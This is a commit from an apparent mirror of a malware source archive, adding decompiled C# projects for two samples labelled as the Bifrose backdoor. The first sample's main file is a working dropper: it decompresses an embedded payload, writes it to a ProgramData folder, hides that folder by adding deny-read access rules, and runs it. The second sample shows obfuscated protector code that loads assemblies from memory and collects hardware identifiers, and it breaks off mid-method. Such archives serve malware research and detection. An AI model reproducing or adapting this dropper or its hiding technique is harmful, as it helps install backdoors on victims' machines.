mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-21 02:09:25 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
vxunderground
+3
@@ -0,0 +1,3 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{10E56AF5-4212-461C-8F60-8B20FD114586}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>تمويه</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="X.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
<Compile Include="MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="M.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "تمويه", "Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.csproj", "{10E56AF5-4212-461C-8F60-8B20FD114586}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{10E56AF5-4212-461C-8F60-8B20FD114586}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{10E56AF5-4212-461C-8F60-8B20FD114586}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{10E56AF5-4212-461C-8F60-8B20FD114586}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{10E56AF5-4212-461C-8F60-8B20FD114586}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+6712
File diff suppressed because it is too large
Load Diff
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+92
@@ -0,0 +1,92 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: X
|
||||
// Assembly: تمويه, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76455843-6727-42BB-8FC2-E9F414E4C091
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Principal;
|
||||
|
||||
internal class X
|
||||
{
|
||||
[STAThread]
|
||||
public static void main()
|
||||
{
|
||||
byte[] bytes = X.Z(X.Z((byte[]) new ResourceManager("M", Assembly.GetExecutingAssembly()).GetObject("A")));
|
||||
string Path = Interaction.Environ("programdata") + "\\2";
|
||||
string str = Path + "\\2.exe";
|
||||
try
|
||||
{
|
||||
FileSystem.MkDir(Path);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
try
|
||||
{
|
||||
X.BD(ref Path);
|
||||
File.WriteAllBytes(str, bytes);
|
||||
Interaction.Shell(str);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Z(byte[] Byt)
|
||||
{
|
||||
MemoryStream memoryStream = new MemoryStream(Byt);
|
||||
GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress);
|
||||
byte[] buffer = new byte[4];
|
||||
memoryStream.Position = checked (memoryStream.Length - 5L);
|
||||
memoryStream.Read(buffer, 0, 4);
|
||||
int int32 = BitConverter.ToInt32(buffer, 0);
|
||||
memoryStream.Position = 0L;
|
||||
byte[] array = new byte[checked (int32 - 1 + 1)];
|
||||
gzipStream.Read(array, 0, int32);
|
||||
gzipStream.Dispose();
|
||||
memoryStream.Dispose();
|
||||
return array;
|
||||
}
|
||||
|
||||
public static void BD(ref string Path)
|
||||
{
|
||||
DirectorySecurity accessControl1 = Directory.GetAccessControl(Path, AccessControlSections.All);
|
||||
try
|
||||
{
|
||||
foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) accessControl1.GetAccessRules(true, true, typeof (NTAccount)))
|
||||
{
|
||||
try
|
||||
{
|
||||
DirectorySecurity accessControl2 = Directory.GetAccessControl(Path, AccessControlSections.All);
|
||||
FileSystemAccessRule rule = new FileSystemAccessRule((IdentityReference) new NTAccount(Strings.Split(accessRule.IdentityReference.Value, "\\")[1]), FileSystemRights.ReadData, AccessControlType.Deny);
|
||||
accessControl2.AddAccessRule(rule);
|
||||
Directory.SetAccessControl(Path, accessControl2);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
IEnumerator enumerator;
|
||||
if (enumerator is IDisposable)
|
||||
(enumerator as IDisposable).Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Permissions;
|
||||
|
||||
[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("Cursor")]
|
||||
[assembly: AssemblyDescription("1")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2010")]
|
||||
[assembly: AssemblyTitle("Cursor")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: CLSCompliant(true)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
+121
@@ -0,0 +1,121 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Cursor</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualC" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_003CdotNetProtector_003E.cs" />
|
||||
<Compile Include="_0082¼\_0082».cs" />
|
||||
<Compile Include="_0082¼\_0082¶.cs" />
|
||||
<Compile Include="_0082¼\_0082.cs" />
|
||||
<Compile Include="_0082¼\_0082©.cs" />
|
||||
<Compile Include="_0082¼\_0082¦.cs" />
|
||||
<Compile Include="_0082¼\_0082¢.cs" />
|
||||
<Compile Include="_0082¼\_0082_0095.cs" />
|
||||
<Compile Include="_0082¼\_0082_0094.cs" />
|
||||
<Compile Include="_0082¼\_0082_008A.cs" />
|
||||
<Compile Include="_0082¼\_0082_0084.cs" />
|
||||
<Compile Include="_0082¼\_0081ù.cs" />
|
||||
<Compile Include="_0082¼\_0081ò.cs" />
|
||||
<Compile Include="_0082¼\_0081ì.cs" />
|
||||
<Compile Include="_0082¼\_0081ã.cs" />
|
||||
<Compile Include="_0082¼\_0081Ü.cs" />
|
||||
<Compile Include="_0082¼\_0081Õ.cs" />
|
||||
<Compile Include="_0082¼\_0081Î.cs" />
|
||||
<Compile Include="_0082¼\_0081Ç.cs" />
|
||||
<Compile Include="_0082¼\_0081Â.cs" />
|
||||
<Compile Include="_0082¼\_0081¹.cs" />
|
||||
<Compile Include="_0082¼\_0081³.cs" />
|
||||
<Compile Include="_0082¼\_0081«.cs" />
|
||||
<Compile Include="_0082¼\_0081§.cs" />
|
||||
<Compile Include="_0082¼\_0081 .cs" />
|
||||
<Compile Include="_0082¼\_0081_009C.cs" />
|
||||
<Compile Include="_0082¼\_0081_0097.cs" />
|
||||
<Compile Include="_0082¼\_0081_0093.cs" />
|
||||
<Compile Include="_0082¼\_0081_0090.cs" />
|
||||
<Compile Include="_0082¼\_0081_008B.cs" />
|
||||
<Compile Include="_0082¼\_0081_0088.cs" />
|
||||
<Compile Include="_0082¼\_0081_0083.cs" />
|
||||
<Compile Include="_0082¼\_0081_0080.cs" />
|
||||
<Compile Include="_0082¼\ä.cs" />
|
||||
<Compile Include="_0082¼\Ê.cs" />
|
||||
<Compile Include="_0082¼\1Ä.cs" />
|
||||
<Compile Include="_0082¼\µ.cs" />
|
||||
<Compile Include="_0082¼\Á.cs" />
|
||||
<Compile Include="_0082¼\.cs" />
|
||||
<Compile Include="_0082¼\¨.cs" />
|
||||
<Compile Include="_0082¼\´.cs" />
|
||||
<Compile Include="_0082¼\±.cs" />
|
||||
<Compile Include="_0082¼\ .cs" />
|
||||
<Compile Include="_0082¼\_0094.cs" />
|
||||
<Compile Include="_0082¼\_008D.cs" />
|
||||
<Compile Include="_0082¼\_0088.cs" />
|
||||
<Compile Include="_0082¼\_0086.cs" />
|
||||
<Compile Include="_0082¼\_0082².cs" />
|
||||
<Compile Include="_0082¼\_0082º.cs" />
|
||||
<Compile Include="_0082¼\_0082³.cs" />
|
||||
<Compile Include="_0082¼\_0082_009A.cs" />
|
||||
<Compile Include="_0082¼\_0082¨.cs" />
|
||||
<Compile Include="_0082¼\_0082§.cs" />
|
||||
<Compile Include="_0082¼\_0082¥.cs" />
|
||||
<Compile Include="_0082¼\_0082_008E.cs" />
|
||||
<Compile Include="_0082¼\_0082_0088.cs" />
|
||||
<Compile Include="_0082¼\_0081æ.cs" />
|
||||
<Compile Include="_0082¼\_0081$.cs" />
|
||||
<Compile Include="_0082¼\1_0081î.cs" />
|
||||
<Compile Include="õ\ü.cs" />
|
||||
<Compile Include="õ\ñ.cs" />
|
||||
<Compile Include="õ\¿.cs" />
|
||||
<Compile Include="õ\¦.cs" />
|
||||
<Compile Include="õ\_0099.cs" />
|
||||
<Compile Include="õ\_0081Ï.cs" />
|
||||
<Compile Include="å\è.cs" />
|
||||
<Compile Include="å\Ü.cs" />
|
||||
<Compile Include="å\Ö.cs" />
|
||||
<Compile Include="å\Ñ.cs" />
|
||||
<Compile Include="å\®.cs" />
|
||||
<Compile Include="å\_008E.cs" />
|
||||
<Compile Include="å\_0082_009D.cs" />
|
||||
<Compile Include="å\_0082_0098.cs" />
|
||||
<Compile Include="å\_0082_0090.cs" />
|
||||
<Compile Include="_0081é\_0081ê.cs" />
|
||||
<Compile Include="_0081é\_0081Þ.cs" />
|
||||
<Compile Include="_0081é\_0081Ù.cs" />
|
||||
<Compile Include="PvLogiciels\dotNetProtector\RuntimeInterop.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.csproj", "{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{ABD77DC2-DD69-4271-9A4A-0C4CC4B15651}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+651
@@ -0,0 +1,651 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: PvLogiciels.dotNetProtector.RuntimeInterop
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using õ;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace PvLogiciels.dotNetProtector
|
||||
{
|
||||
public class RuntimeInterop : IRuntime
|
||||
{
|
||||
internal Assembly[] ò;
|
||||
internal Assembly \u0081\u00BD;
|
||||
internal string \u0082\u00B4;
|
||||
|
||||
private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer();
|
||||
|
||||
internal RuntimeInterop() => this.ò = new Assembly[0];
|
||||
|
||||
internal unsafe Assembly \u0081â(IntPtr _param1)
|
||||
{
|
||||
int id = AppDomain.CurrentDomain.Id;
|
||||
byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
_param1 = ptr;
|
||||
int num1 = Marshal.ReadInt32(ptr);
|
||||
int length1 = Marshal.ReadInt32(_param1, 4);
|
||||
int length2 = Marshal.ReadInt32(_param1, 8);
|
||||
IntPtr source1 = (IntPtr) (void*) (numPtr + 12);
|
||||
IntPtr source2 = (IntPtr) (void*) (numPtr + length1 + 12);
|
||||
byte[] numArray = new byte[length1];
|
||||
byte[] destination = numArray;
|
||||
int length3 = length1;
|
||||
Marshal.Copy(source1, destination, 0, length3);
|
||||
Assembly assembly;
|
||||
if (length2 != 0)
|
||||
{
|
||||
byte[] rawSymbolStore = new byte[length2];
|
||||
Marshal.Copy(source2, numArray, 0, length2);
|
||||
assembly = Assembly.Load(numArray, rawSymbolStore);
|
||||
}
|
||||
else
|
||||
assembly = Assembly.Load(numArray);
|
||||
Marshal.FreeCoTaskMem(_param1);
|
||||
if ((object) assembly != null && num1 >= 0)
|
||||
{
|
||||
Type[] types = assembly.GetTypes();
|
||||
IntPtr num2 = types[types.Length - 1].TypeHandle.Value;
|
||||
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id);
|
||||
}
|
||||
return assembly;
|
||||
}
|
||||
|
||||
internal static unsafe void Î(Assembly _param0)
|
||||
{
|
||||
string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0);
|
||||
IntPtr ptr = IntPtr.Zero;
|
||||
if (assemblyString != (string) null)
|
||||
ptr = Marshal.StringToCoTaskMemAnsi(assemblyString);
|
||||
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
|
||||
if (!(ptr != IntPtr.Zero))
|
||||
return;
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
}
|
||||
|
||||
public virtual Assembly GetEntryAssembly()
|
||||
{
|
||||
if ((object) \u0081ê.\u0081\u0099 != null)
|
||||
return \u0081ê.\u0081\u0099;
|
||||
Assembly entryAssembly = Assembly.GetEntryAssembly();
|
||||
if ((object) entryAssembly != null)
|
||||
{
|
||||
\u0081ê.\u0081\u0099 = entryAssembly;
|
||||
return entryAssembly;
|
||||
}
|
||||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||||
if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime"))
|
||||
return (Assembly) null;
|
||||
\u0081ê.\u0081\u0099 = executingAssembly;
|
||||
return executingAssembly;
|
||||
}
|
||||
|
||||
public static IRuntime InitRuntime()
|
||||
{
|
||||
RuntimeInterop runtimeInterop = new RuntimeInterop();
|
||||
if (AppDomain.CurrentDomain.IsDefaultAppDomain())
|
||||
{
|
||||
AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit);
|
||||
return (IRuntime) runtimeInterop;
|
||||
}
|
||||
AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084);
|
||||
return (IRuntime) runtimeInterop;
|
||||
}
|
||||
|
||||
public static void AppDomain_ProcessExit(object sender, EventArgs e)
|
||||
{
|
||||
GC.Collect();
|
||||
GC.WaitForPendingFinalizers();
|
||||
\u0082\u00BB.\u0081\u0086();
|
||||
}
|
||||
|
||||
public virtual void NGenInitRuntime()
|
||||
{
|
||||
}
|
||||
|
||||
public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C();
|
||||
|
||||
public virtual long GetMacAddress() => \u0082\u00BB.Ç();
|
||||
|
||||
public virtual ulong GetBiosHash() => \u0082\u00BB.Ï();
|
||||
|
||||
public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id);
|
||||
|
||||
public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3)
|
||||
{
|
||||
IntPtr ptr = IntPtr.Zero;
|
||||
if (Reserved3 != (string) null)
|
||||
ptr = Marshal.StringToCoTaskMemAnsi(Reserved3);
|
||||
IntPtr num1 = pReserved1.TypeHandle.Value;
|
||||
int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
|
||||
if (ptr != IntPtr.Zero)
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
if (num2 == 2)
|
||||
{
|
||||
this.\u0081\u00BD = pReserved1.Assembly;
|
||||
